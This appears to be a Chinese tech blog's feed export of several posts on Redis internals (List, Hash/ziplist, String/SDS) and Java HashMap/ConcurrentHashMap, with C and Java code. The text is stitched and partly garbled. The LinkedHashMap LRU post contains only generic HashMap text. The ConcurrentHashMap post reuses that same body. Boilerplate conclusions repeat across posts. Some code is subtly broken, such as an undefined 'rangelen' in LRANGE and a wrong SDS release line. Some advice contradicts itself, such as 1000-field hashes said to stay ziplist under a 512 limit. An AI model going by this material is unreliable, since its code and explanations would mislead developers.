    robj *o = lookupKeyWriteOrReply(c, c->argv[1], shared.null[c->resp]);
    if (o == NULL || checkType(c, o, OBJ_LIST)) return;
    
    // 从头部弹出
    robj *value = listTypePop(o, LIST_HEAD);
    if (value == NULL) {
        addReplyNull(c);
    } else {
        addReplyBulk(c, value);
        // 如果List为空，删除key
        if (listTypeLength(o) == 0) {
            dbDelete(c->db, c->argv[1]);
        }
        signalModifiedKey(c, c->db, c->argv[1]);
    }
}

#

4.2 LRANGE

void lrangeCommand(client *c) {
    robj *o = lookupKeyReadOrReply(c, c->argv[1], shared.emptyarray);
    if (o == NULL || checkType(c, o, OBJ_LIST)) return;
    
    long start, end;
    getLongFromObjectOrReply(c, c->argv[2], &start, NULL);
    getLongFromObjectOrReply(c, c->argv[3], &end, NULL);
    
    // 处理负数索引
    long llen = listTypeLength(o);
    if (start < 0) start = llen + start;
    if (end < 0) end = llen + end;
    if (start < 0) start = 0;
    if (end >= llen) end = llen - 1;
    
    // 遍历输出
    listTypeIterator *li = listTypeInitIterator(o, start, LIST_TAIL);
    listTypeEntry entry;
    
    addReplyArrayLen(c, (end - start + 1));
    while (listTypeNext(li, &entry)) {
        if (rangelen-- == 0) break;
        addReplyBulkCBuffer(c, entry.value, entry.sz);
    }
    listTypeReleaseIterator(li);
}

#

4.3 LTRIM

void ltrimCommand(client *c) {
    robj *o = lookupKeyWriteOrReply(c, c->argv[1], shared.ok);
    if (o == NULL || checkType(c, o, OBJ_LIST)) return;
    
    long start, end;
    getLongFromObjectOrReply(c, c->argv[2], &start, NULL);
    getLongFromObjectOrReply(c, c->argv[3], &end, NULL);
    
    // 计算需要保留的范围
    long llen = listTypeLength(o);
    // ... 处理负数索引 ...
    
    // 删除范围外的元素
    listTypeIterator *li;
    listTypeEntry entry;
    
    // 删除头部多余元素
    li = listTypeInitIterator(o, 0, LIST_TAIL);
    while (listTypeNext(li, &entry) && start--) {
        listTypeDelete(li, &entry);
    }
    listTypeReleaseIterator(li);
    
    // 删除尾部多余元素
    li = listTypeInitIterator(o, -1, LIST_HEAD);
    while (listTypeNext(li, &entry) && llen - end - 1 > 0) {
        listTypeDelete(li, &entry);
        llen--;
    }
    listTypeReleaseIterator(li);
    
    addReply(c, shared.ok);
}

五、阻塞操作实现

#

5.1 BLPOP/BRPOP

void blpopCommand(client *c) {
    // 1. 先尝试非阻塞弹出
    for (int j = 1; j < c->argc - 1; j++) {
        robj *o = lookupKeyWrite(c->db, c->argv[j]);
        if (o != NULL && o->type == OBJ_LIST && listTypeLength(o) != 0) {
            // List非空，直接弹出
            robj *value = listTypePop(o, LIST_HEAD);
            // ... 返回结果 ...
            return;
        }
    }
    
    // 2. 所有List都为空，阻塞等待
    blockForKeys(c, BLOCKED_LIST, c->argv + 1, c->argc - 2, 
                 timeout, NULL);
}

#

5.2 唤醒机制

客户端A执行：BLPOP queue 30
  │
  ├── 如果queue为空
  │     └── 客户端A加入阻塞队列（按key组织）
  │
  └── 当客户端B执行：LPUSH queue job
        └── 检查queue的阻塞客户端列表
              └── 唤醒客户端A，弹出job返回

注意：

  • 阻塞客户端按时间顺序排队
  • 多个客户端阻塞同一个key时，先到先服务
  • LPUSH可以同时唤醒多个阻塞客户端（如果 push 了多个元素）

六、应用场景实践

#

6.1 消息队列

@Component
public class RedisMessageQueue {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 生产者
    public void produce(String queue, String message) {
        redis.opsForList().leftPush(queue, message);
    }
    
    // 消费者（阻塞式）
    public void consume(String queue) {
        while (running) {
            // 阻塞弹出，最多等待30秒
            String message = redis.opsForList()
                .rightPop(queue, 30, TimeUnit.SECONDS);
            
            if (message != null) {
                processMessage(message);
            }
        }
    }
    
    // 多个队列优先级消费
    public void consumePriority() {
        while (running) {
            // 从左到右按优先级
            String message = redis.opsForList()
                .rightPop("queue:high", "queue:normal", "queue:low", 
                         30, TimeUnit.SECONDS);
            if (message != null) {
                processMessage(message);
            }
        }
    }
}

#

6.2 最新列表（时间线）

@Service
public class TimelineService {
    
    private static final int MAX_TIMELINE_SIZE = 1000;
    private static final int PAGE_SIZE = 20;
    
    // 发布动态
    public void postMoment(Long userId, String momentJson) {
        String key = "timeline:user:" + userId;
        
        // LPUSH新动态到头部
        redis.opsForList().leftPush(key, momentJson);
        
        // LTRIM保留最近1000条
        redis.opsForList().trim(key, 0, MAX_TIMELINE_SIZE - 1);
        
        // 设置过期时间
        redis.expire(key, 7, TimeUnit.DAYS);
    }
    
    // 获取时间线（分页）
    public List<String> getTimeline(Long userId, int page) {
        String key = "timeline:user:" + userId;
        int start = page * PAGE_SIZE;
        int end = start + PAGE_SIZE - 1;
        return redis.opsForList().range(key, start, end);
    }
    
    // 获取关注者的时间线（拉模式）
    public List<String> getFeed(Long userId, int page) {
        // 获取关注列表
        List<Long> followings = getFollowings(userId);
        
        // 获取每个关注者的最新动态
        List<String> keys = followings.stream()
            .map(id -> "timeline:user:" + id)
            .collect(Collectors.toList());
        
        // 使用LRANGE获取后合并排序（应用层）
        // 或使用Redis 6.2+的LMPOP
        
        return mergeAndSort(keys, page);
    }
}

#

6.3 栈（LIFO）

// 实现撤销/重做功能
public class UndoRedoManager {
    
    private static final String UNDO_STACK = "undo:stack";
    private static final String REDO_STACK = "redo:stack";
    
    public void executeAction(String action) {
        // 执行操作
        performAction(action);
        
        // 压入撤销栈
        redis.opsForList().leftPush(UNDO_STACK, action);
        
        // 清空重做栈
        redis.delete(REDO_STACK);
    }
    
    public void undo() {
        String action = redis.opsForList().leftPop(UNDO_STACK);
        if (action != null) {
            // 反向执行
            reverseAction(action);
            
            // 压入重做栈
            redis.opsForList().leftPush(REDO_STACK, action);
        }
    }
    
    public void redo() {
        String action = redis.opsForList().leftPop(REDO_STACK);
        if (action != null) {
            performAction(action);
            redis.opsForList().leftPush(UNDO_STACK, action);
        }
    }
}

#

6.4 队列（FIFO）

// 简单的任务队列
public class TaskQueue {
    
    private static final String TASK_QUEUE = "task:queue";
    
    public void submitTask(String taskJson) {
        redis.opsForList().rightPush(TASK_QUEUE, taskJson);
    }
    
    public void processTasks() {
        while (true) {
            // 非阻塞消费
            String task = redis.opsForList().leftPop(TASK_QUEUE);
            if (task == null) {
                Thread.sleep(1000);
                continue;
            }
            executeTask(task);
        }
    }
}

七、List性能优化

#

7.1 避免大List

// 不好的做法：无限制增长
redis.lpush("big:list", value);  // 从不清理

// 好的做法：控制大小
redis.lpush("list", value);
redis.ltrim("list", 0, 999);  // 只保留1000条

#

7.2 批量操作

// 不好的做法：循环插入
for (String item : items) {
    redis.lpush("list", item);  // 每次网络往返
}

// 好的做法：使用Pipeline
redis.executePipelined((RedisCallback<Object>) connection -> {
    for (String item : items) {
        connection.lPush("list".getBytes(), item.getBytes());
    }
    return null;
});

#

7.3 慎用LINDEX深索引

# 越靠近中间越慢（O(n)）
LINDEX list 0       # 快（头部）
LINDEX list -1      # 快（尾部）
LINDEX list 50000   # 慢（中间）

#

7.4 List分片

// 超大List分片存储
public void addToShardList(String key, String value) {
    // 获取当前分片
    String shardKey = getCurrentShard(key);
    Long size = redis.opsForList().size(shardKey);
    
    // 如果当前分片已满，创建新分片
    if (size != null && size >= 10000) {
        shardKey = createNewShard(key);
    }
    
    redis.opsForList().leftPush(shardKey, value);
}

八、常见问题

#

8.1 List的最大长度

理论限制：约40亿个元素（2^32 - 1）
实际限制：内存大小

建议：单个List不超过10000个元素

#

8.2 阻塞操作的超时

// 超时时间不要太短（减少CPU消耗）
// 好的做法：30-60秒
redis.opsForList().rightPop("queue", 30, TimeUnit.SECONDS);

// 不好的做法：1秒（频繁空转）
redis.opsForList().rightPop("queue", 1, TimeUnit.SECONDS);

#

8.3 阻塞与事务

# 阻塞命令不能在MULTI/EXEC中使用
MULTI
BLPOP queue 30    # 错误！会立即返回nil
EXEC

九、总结

特性Quicklist
结构ziplist + 双向链表
头部/尾部操作O(1)
中间插入/删除O(n)
索引访问O(n)
内存连续内存 + 指针开销

List使用建议：

  1. LPUSH + LTRIM：实现固定大小的最新列表
  2. BRPOP：实现高效的消息队列
  3. 控制大小：避免List无限增长
  4. 两端操作优先：避免中间操作
  5. 考虑Stream：需要持久化和消费者组时，用Stream替代List

Quicklist的设计体现了Redis的核心思想：在内存和性能之间寻找最佳平衡点。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 Redis Hash与Ziplist优化 //redis-hash-ziplist-optimization/ Redis Hash与Ziplist优化

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Hash的编码方式

Redis Hash有两种底层编码：

编码结构适用场景
ziplist压缩列表字段少、值小的Hash
hashtable哈希表字段多或值大的Hash

#

1.1 编码转换条件

默认配置（redis.conf）：
hash-max-ziplist-entries 512    # ziplist最多512个entry
hash-max-ziplist-value 64       # 每个value最大64字节

转换规则：

  • Hash满足条件：使用ziplist
  • 任一条件不满足：转换为hashtable
  • 转换是单向的：ziplist → hashtable后不会回退

二、Ziplist详解

#

2.1 Ziplist结构

Ziplist是紧凑的连续内存结构：

整体布局：
┌─────────┬─────────┬─────────────────────┬─────────┐
│ zlbytes │ zltail  │  zllen  │  entries  │  zlend  │
│ 4字节   │ 4字节   │  2字节  │   变长    │  1字节  │
└─────────┴─────────┴─────────┴───────────┴─────────┘

各字段说明：
- zlbytes: 整个ziplist占用的字节数
- zltail: 到最后一个entry的偏移量（方便快速定位尾部）
- zllen: entry数量（超过65535时需遍历统计）
- entries: 实际的entry列表
- zlend: 结束标记，固定为0xFF

#

2.2 Entry结构

每个Entry的格式：
┌─────────────────┬─────────────────┬─────────────────┐
│   prevlen       │   encoding      │     content     │
│  1或5字节       │  1或2或5字节    │     变长        │
└─────────────────┴─────────────────┴─────────────────┘

prevlen: 前一个entry的长度（方便倒序遍历）
encoding: 编码信息，包含content类型和长度
content: 实际数据（整数或字符串）

prevlen的连锁更新问题：

当前entry的prevlen是1字节（记录前entry长度<254）
如果前entry增大到>=254字节
→ 当前entry的prevlen需从1字节扩展到5字节
→ 可能导致当前entry也变长
→ 下一个entry的prevlen可能也要扩展
→ 连锁反应！

这是ziplist的已知缺陷，在大量entry且值大小波动时可能触发。

#

2.3 Ziplist的优缺点

优点：

  • 内存紧凑，无额外指针开销
  • 适合小数据量场景
  • CPU缓存友好（连续内存）

缺点：

  • 插入/删除可能需要重新分配内存
  • 连锁更新问题
  • 查找特定字段O(n)（线性查找）

三、Hashtable详解

#

3.1 字典结构

typedef struct dict {
    dictType *type;      // 类型特定函数
    void *privdata;      // 私有数据
    dictht ht[2];        // 两个哈希表（用于渐进式rehash）
    int rehashidx;       // rehash进度（-1表示不在rehash）
} dict;

typedef struct dictht {
    dictEntry **table;   // 哈希表数组
    unsigned long size;  // 表大小
    unsigned long sizemask;  // 掩码 = size - 1
    unsigned long used;  // 已有节点数
} dictht;

typedef struct dictEntry {
    void *key;           // 键（sds）
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
    } v;                 // 值
    struct dictEntry *next;  // 拉链法解决冲突
} dictEntry;

#

3.2 哈希算法

// MurmurHash2算法
uint64_t dictGenHashFunction(const void *key, int len) {
    // ... MurmurHash2实现
}

// 计算索引
idx = hash(key) & d->ht[0].sizemask;

#

3.3 渐进式Rehash

当哈希表负载因子超过阈值时，需要扩容：

触发条件：
- 没有执行BGSAVE/BGREWRITEAOF时，负载因子 >= 1
- 执行BGSAVE/BGREWRITEAOF时，负载因子 >= 5

负载因子 = used / size

渐进式Rehash流程：

初始状态：
  ht[0]: 大小4，已用3
  ht[1]: 空
  rehashidx: -1

开始rehash：
  1. 为ht[1]分配大小为8的空间
  2. rehashidx = 0
  
增删查时渐进迁移：
  - 每次操作将ht[0]中rehashidx位置的桶迁移到ht[1]
  - rehashidx++
  
完成时：
  - ht[0] = ht[1]
  - ht[1] 清空
  - rehashidx = -1

优势：

  • 避免一次性rehash的长时间阻塞
  • 分摊到每次操作中

四、Hash命令的实现

#

4.1 HSET的实现

void hsetCommand(client *c) {
    robj *o;
    
    // 查找或创建Hash对象
    if ((o = hashTypeLookupWriteOrCreate(c, c->argv[1])) == NULL) return;
    
    // 检查是否需要从ziplist转换为hashtable
    hashTypeTryConversion(o, c->argv, 2, 3);
    
    // 设置字段
    hashTypeSet(o, c->argv[2]->ptr, c->argv[3]->ptr, HASH_SET_COPY);
    
    addReply(c, shared.ok);
}

#

4.2 编码转换检查

void hashTypeTryConversion(robj *o, robj **argv, int start, int end) {
    if (o->encoding != OBJ_ENCODING_ZIPLIST) return;
    
    for (int i = start; i <= end; i++) {
        // 检查字段或值是否超过64字节
        if (sdslen(argv[i]->ptr) > server.hash_max_ziplist_value) {
            // 转换为hashtable
            hashTypeConvert(o, OBJ_ENCODING_HT);
            break;
        }
    }
}

#

4.3 HGETALL的实现

void hgetallCommand(client *c) {
    robj *o = lookupKeyReadOrReply(c, c->argv[1], shared.null[c->resp]);
    if (o == NULL || checkType(c, o, OBJ_HASH)) return;
    
    // 扩容回复数组
    addReplyArrayLen(c, hashTypeLength(o) * 2);
    
    // 遍历所有字段
    hashTypeIterator *hi = hashTypeInitIterator(o);
    while (hashTypeNext(hi) != C_ERR) {
        // 回复field
        addReplyBulkCBuffer(c, hi->zk, hi->klen);
        // 回复value
        addReplyBulkCBuffer(c, hi->zv, hi->vlen);
    }
    hashTypeReleaseIterator(hi);
}

五、内存优化实践

#

5.1 合理设置ziplist阈值

# redis.conf

# 如果Hash字段多但值小，可以增大entries限制
hash-max-ziplist-entries 1000
hash-max-ziplist-value 128

# 如果Hash字段少但值大，保持默认值或减小

#

5.2 控制Hash的字段数量

// 不好的做法：单个Hash存储大量字段
for (int i = 0; i < 100000; i++) {
    redis.hset("big:hash", "field" + i, "value" + i);
}
// 最终会转换为hashtable，且单个key过大

// 好的做法：分片存储
int shardCount = 100;
for (int i = 0; i < 100000; i++) {
    int shard = i % shardCount;
    redis.hset("hash:shard:" + shard, "field" + i, "value" + i);
}
// 每个Hash最多1000个字段，保持ziplist编码

#

5.3 使用Hash替代String存储对象

// String方式（每个对象一个JSON）
// key: user:1001, value: {"name":"Alice","age":25,"city":"Beijing"}

// Hash方式
// key: user:1001, field-value pairs
//  内存对比（假设100万用户）：
//  String: 约200MB
//  Hash:   约120MB（ziplist节省大量元数据）

#

5.4 查看编码信息

# 查看Hash的编码方式
OBJECT ENCODING user:1001
# 输出: "ziplist" 或 "hashtable"

# 查看内存占用
MEMORY USAGE user:1001
# 输出: (integer) 128

# 查看详细信息
DEBUG OBJECT user:1001
# 输出: value at:... encoding:ziplist serializedlength:86 ...

六、性能测试对比

#

6.1 Ziplist vs Hashtable

# 测试小Hash（ziplist）
redis-benchmark -n 100000 HSET small:hash field value
# 结果：约50000 ops/sec

# 测试大Hash（hashtable）
redis-benchmark -n 100000 HSET big:hash field1000 value1000
# 先构造1000个字段使其转换为hashtable
# 结果：约40000 ops/sec

# 小Hash查询更快（CPU缓存友好）
redis-benchmark -n 100000 HGET small:hash field
# 结果：约60000 ops/sec

#

6.2 编码转换的影响

# 监控编码转换（通过INFO命令）
INFO COMMANDSTATS
# 查看HSET命令的耗时变化

七、Hash应用优化

#

7.1 购物车优化

@Service
public class CartService {
    
    private static final int CART_EXPIRE_DAYS = 7;
    
    public void addToCart(Long userId, Long skuId, Integer quantity) {
        String key = "cart:" + userId;
        String field = String.valueOf(skuId);
        
        // 使用hincrby实现数量累加
        Long newQty = redis.hincrBy(key, field, quantity);
        
        if (newQty <= 0) {
            redis.hdel(key, field);
        }
        
        // 设置过期时间
        redis.expire(key, CART_EXPIRE_DAYS * 86400);
    }
    
    public Map<Long, Integer> getCart(Long userId) {
        String key = "cart:" + userId;
        Map<String, String> entries = redis.hgetAll(key);
        
        Map<Long, Integer> cart = new HashMap<>();
        entries.forEach((k, v) -> cart.put(Long.valueOf(k), Integer.valueOf(v)));
        return cart;
    }
    
    public void clearCart(Long userId) {
        redis.del("cart:" + userId);
    }
}

#

7.2 配置中心优化

@Component
public class ConfigManager {
    
    private static final String CONFIG_KEY = "app:config";
    
    @PostConstruct
    public void init() {
        // 加载配置到Redis
        Map<String, String> configs = loadFromDB();
        redis.hsetAll(CONFIG_KEY, configs);
        redis.expire(CONFIG_KEY, 3600);
    }
    
    public String getConfig(String key) {
        String value = redis.hget(CONFIG_KEY, key);
        if (value == null) {
            // 回查数据库
            value = db.queryConfig(key);
            if (value != null) {
                redis.hset(CONFIG_KEY, key, value);
            }
        }
        return value;
    }
    
    public void updateConfig(String key, String value) {
        db.updateConfig(key, value);
        redis.hset(CONFIG_KEY, key, value);
    }
}

八、常见问题

#

8.1 Hash的字段数量限制

理论限制：约40亿个字段（2^32 - 1）
实际限制：内存大小

建议：单个Hash不超过1000个字段（保持ziplist编码）

#

8.2 HGETALL的性能问题

// 大Hash使用HGETALL会阻塞Redis
Map<String, String> all = redis.hgetAll("big:hash");  // 危险！

// 替代方案：使用HSCAN渐进遍历
Cursor<Map.Entry<String, String>> cursor = redis.opsForHash()
    .scan("big:hash", ScanOptions.scanOptions().count(100).build());

while (cursor.hasNext()) {
    Map.Entry<String, String> entry = cursor.next();
    processEntry(entry);
}

#

8.3 Hash过期问题

# Hash只能对整个key设置过期，不能对单个字段设置
EXPIRE user:1001 3600  # 整个Hash过期

# 如需字段级过期，需要额外设计
# 方案一：使用ZSet存储过期时间
# 方案二：应用层判断过期

九、总结

特性ZiplistHashtable
内存占用低高
读写性能小数据量优大数据量优
查找复杂度O(n)O(1)
插入开销可能需要内存重分配可能需要rehash
适用场景字段少、值小字段多、值大

Hash优化核心要点：

  1. 保持ziplist编码：控制字段数量和值大小
  2. 避免大Hash：单个Hash不超过1000字段
  3. 分片存储：大数据量分多个Hash
  4. 使用HSCAN：避免HGETALL大Hash
  5. 合理设置阈值：根据实际数据调整hash-max-ziplist-*

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 Redis String底层结构与SDS //redis-string-sds-structure/ Redis String底层结构与SDS

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、为什么不用C字符串

#

1.1 C字符串的缺陷

C语言使用\0结尾的字符数组表示字符串：

char str[] = "hello";  // h-e-l-l-o-\0

缺陷一：获取长度O(n)

strlen(str);  // 需要遍历到\0，O(n)

缺陷二：缓冲区溢出

char str[5] = "hello";
strcat(str, " world");  // 越界写入，未定义行为

缺陷三：频繁内存分配

// 每次修改字符串长度，可能需要重新分配内存
char *str = malloc(6);
strcat(str, "!");  // 需要realloc

缺陷四：二进制不安全

// 不能包含\0字符
char str[] = "he\0llo";  // strlen返回2，实际想存6字节

#

1.2 SDS的设计目标

Redis需要一种更安全、更高效的字符串结构：

  • O(1)获取长度
  • 避免缓冲区溢出
  • 减少内存分配次数
  • 支持二进制数据

二、SDS结构

#

2.1 SDS定义

Redis 3.2之后，SDS根据字符串长度使用不同头部结构：

// sdshdr5（不再使用，但保留定义）
struct __attribute__ ((__packed__)) sdshdr5 {
    unsigned char flags;  // 低3位存类型，高5位存长度
    char buf[];
};

// sdshdr8（长度<256）
struct __attribute__ ((__packed__)) sdshdr8 {
    uint8_t len;        // 已使用长度
    uint8_t alloc;      // 分配的总长度（不含头部和\0）
    unsigned char flags; // 标志位
    char buf[];         // 柔性数组，实际数据
};

// sdshdr16（长度<65536）
struct __attribute__ ((__packed__)) sdshdr16 {
    uint16_t len;
    uint16_t alloc;
    unsigned char flags;
    char buf[];
};

// sdshdr32
struct __attribute__ ((__packed__)) sdshdr32 {
    uint32_t len;
    uint32_t alloc;
    unsigned char flags;
    char buf[];
};

// sdshdr64
struct __attribute__ ((__packed__)) sdshdr64 {
    uint64_t len;
    uint64_t alloc;
    unsigned char flags;
    char buf[];
};

#

2.2 SDS内存布局

sdshdr8 示例（存储"Redis"）：
┌─────────┬─────────┬─────────┬──────┬─────┐
│  len=5  │ alloc=5 │ flags=1 │ R-e-d-i-s │ \0 │
└─────────┴─────────┴─────────┴──────┴─────┘
  1字节    1字节     1字节     5字节   1字节

总内存：1 + 1 + 1 + 5 + 1 = 9字节

注意：buf末尾仍然以\0结尾，这样可以复用部分C字符串函数。

#

2.3 SDS操作API

// 创建SDS
sds sdsnew(const char *init);
sds sdsnewlen(const void *init, size_t initlen);
sdsempty(void);

// 释放
void sdsfree(sds s);

// 获取长度（O(1)）
size_t sdslen(const sds s);

// 获取可用空间
size_t sdsavail(const sds s);

// 扩容
sds sdsMakeRoomFor(sds s, size_t addlen);

// 追加
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);

// 范围清除（惰性释放）
void sdsclear(sds s);

三、SDS核心设计

#

3.1 空间预分配

SDS修改字符串时，不仅分配需要的空间，还会预分配额外空间：

sds sdsMakeRoomFor(sds s, size_t addlen) {
    struct sdshdr *sh = (void*)(s - sizeof(struct sdshdr));
    size_t free = sdsavail(s);
    
    // 空间足够，直接返回
    if (free >= addlen) return s;
    
    size_t len = sdslen(s);
    size_t newlen = len + addlen;
    
    // 预分配策略
    if (newlen < SDS_MAX_PREALLOC) {
        // 小于1MB，分配2倍空间
        newlen *= 2;
    } else {
        // 大于1MB，额外分配1MB
        newlen += SDS_MAX_PREALLOC;
    }
    
    // 重新分配内存
    // ...
}

策略：

  • 修改后长度 < 1MB：分配2倍所需空间
  • 修改后长度 >= 1MB：额外分配1MB

优势：

  • 减少内存分配次数（从N次降到logN次）
  • 均摊时间复杂度接近O(1)

#

3.2 惰性释放

SDS缩短字符串时，不立即释放内存：

void sdsclear(sds s) {
    struct sdshdr *sh = (void*)(s - sizeof(struct sdshdr));
    sh->len = 0;           // 长度设为0
    sh->buf[0] = '\0';     // 第一个字符设为\0
    // 注意：alloc不变，空间不释放！
}

优势：

  • 后续追加操作可能不需要重新分配内存
  • 避免频繁的内存分配和释放

真正释放：

sds = sdscatsds(sds, "");  // 需要时可以用sdstrim或重新创建

#

3.3 二进制安全

SDS可以存储任意二进制数据：

sds binary = sdsnewlen("\x00\x01\x02\x03", 4);
// len=4，不受\0影响

sdslen(binary);  // 返回4，不是0

因为SDS通过len字段记录长度，而不是依赖\0。

四、RedisObject编码

#

4.1 Redis对象系统

Redis所有数据都封装在redisObject中：

typedef struct redisObject {
    unsigned type:4;        // 数据类型（String/List/Hash/Set/ZSet）
    unsigned encoding:4;    // 编码方式
    unsigned lru:LRU_BITS;  // LRU时间或LFU计数
    int refcount;           // 引用计数
    void *ptr;              // 指向实际数据
} robj;

#

4.2 String的编码方式

编码说明转换条件
OBJ_ENCODING_RAWSDS字符串长度 > 44字节
OBJ_ENCODING_EMBSTR嵌入式SDS字符串长度 <= 44字节
OBJ_ENCODING_INT整数可以表示为long的字符串

#

4.3 EMBSTR编码

EMBSTR内存布局（redisObject + sdshdr + 数据 连续内存）：
┌────────────────┬────────────────┬─────────────┐
│  redisObject   │   sdshdr8      │  buf + \0  │
│  (16字节)      │   (3字节)      │             │
└────────────────┴────────────────┴─────────────┘
               连续分配，只需一次malloc

优势：

  • 只需一次内存分配
  • 释放时也只需一次free
  • 更好的缓存局部性

为什么是44字节？

64字节（jemalloc最小分配单位） - 16字节(redisObject) - 3字节(sdshdr8) - 1字节(\0) = 44字节

#

4.4 INT编码

// 如果字符串可以解析为long类型
robj *createStringObjectFromLongLong(long long value) {
    robj *o;
    // 小整数复用共享对象（0-9999）
    if (value >= 0 && value < OBJ_SHARED_INTEGERS) {
        o = shared.integers[value];
    } else {
        o = createObject(OBJ_STRING, NULL);
        o->encoding = OBJ_ENCODING_INT;
        o->ptr = (void*)((long)value);  // 直接存值，不分配内存！
    }
    return o;
}

优势：

  • 不额外分配内存
  • ptr直接存储整数值

#

4.5 编码转换

SET num "12345"        → INT编码
APPEND num "abc"       → 转换为RAW编码（因为不再是纯数字）

SET str "short"        → EMBSTR编码（<=44字节）
APPEND str "..."       → 如果超过44字节，转换为RAW编码

五、String命令的实现

#

5.1 SET命令

void setCommand(client *c) {
    robj *expire = NULL;
    int unit = UNIT_SECONDS;
    // ... 解析选项 ...
    
    // 创建或查找key
    setKey(c->db, c->argv[1], c->argv[2]);
    
    // 设置过期时间
    if (expire) setExpire(c, c->db, c->argv[1], milliseconds);
    
    addReply(c, ok ? shared.ok : shared.err);
}

#

5.2 INCR命令

void incrCommand(client *c) {
    robj *o = lookupKeyWrite(c->db, c->argv[1]);
    
    if (o && o->encoding == OBJ_ENCODING_RAW) {
        // 尝试转换为INT编码
        // ...
    }
    
    if (o && o->encoding == OBJ_ENCODING_INT) {
        long value = (long)o->ptr;
        value++;  // 直接对ptr操作，极快！
        o->ptr = (void*)value;
    }
}

#

5.3 APPEND命令

void appendCommand(client *c) {
    robj *o = lookupKeyWrite(c->db, c->argv[1]);
    
    if (o == NULL) {
        // key不存在，直接创建
        c->argv[2] = tryObjectEncoding(c->argv[2]);
        dbAdd(c->db, c->argv[1], c->argv[2]);
    } else {
        // key存在，追加
        if (o->encoding == OBJ_ENCODING_INT) {
            // 转换为RAW
            o = createStringObjectFromLongLong((long)o->ptr);
        }
        
        // 获取原字符串
        sds s = o->ptr;
        // 追加新内容
        s = sdscatsds(s, c->argv[2]->ptr);
        o->ptr = s;
    }
}

六、SDS vs C字符串对比

特性C字符串SDS
获取长度O(n)O(1)
安全性不安全（可能溢出）安全（自动扩容）
内存分配每次修改可能分配预分配减少次数
二进制安全否（遇到\0结束）是（按len读取）
内存使用仅数据+\0头部+数据+\0
适用函数C字符串函数部分兼容

七、实践建议

#

7.1 控制String大小

# 查看String大小
DEBUG OBJECT mykey
# 输出：value at:0x7f... refcount:1 encoding:embstr serializedlength:12 lru:... lru_seconds_idle:...

# serializedlength 可以估算内存占用

#

7.2 利用INT编码

// 使用数字作为key或value，节省内存
redis.set("counter:10001", "0");   // 使用INT编码
redis.incr("counter:10001");        // 极快的原子操作

#

7.3 避免频繁APPEND

// 不好的做法：频繁追加
for (String item : items) {
    redis.append("log", item);  // 每次都可能导致重新分配
}

// 好的做法：批量处理
StringBuilder sb = new StringBuilder();
for (String item : items) {
    sb.append(item);
}
redis.set("log", sb.toString());

八、总结

SDS是Redis最核心的数据结构之一：

设计特点解决的问题
len字段O(1)获取长度
alloc字段防止缓冲区溢出
空间预分配减少内存分配次数
惰性释放优化缩短操作性能
二进制安全支持任意二进制数据
多种头部节省小字符串内存

理解SDS的设计思想：

  1. 用空间换时间（len字段）
  2. 预分配减少系统调用
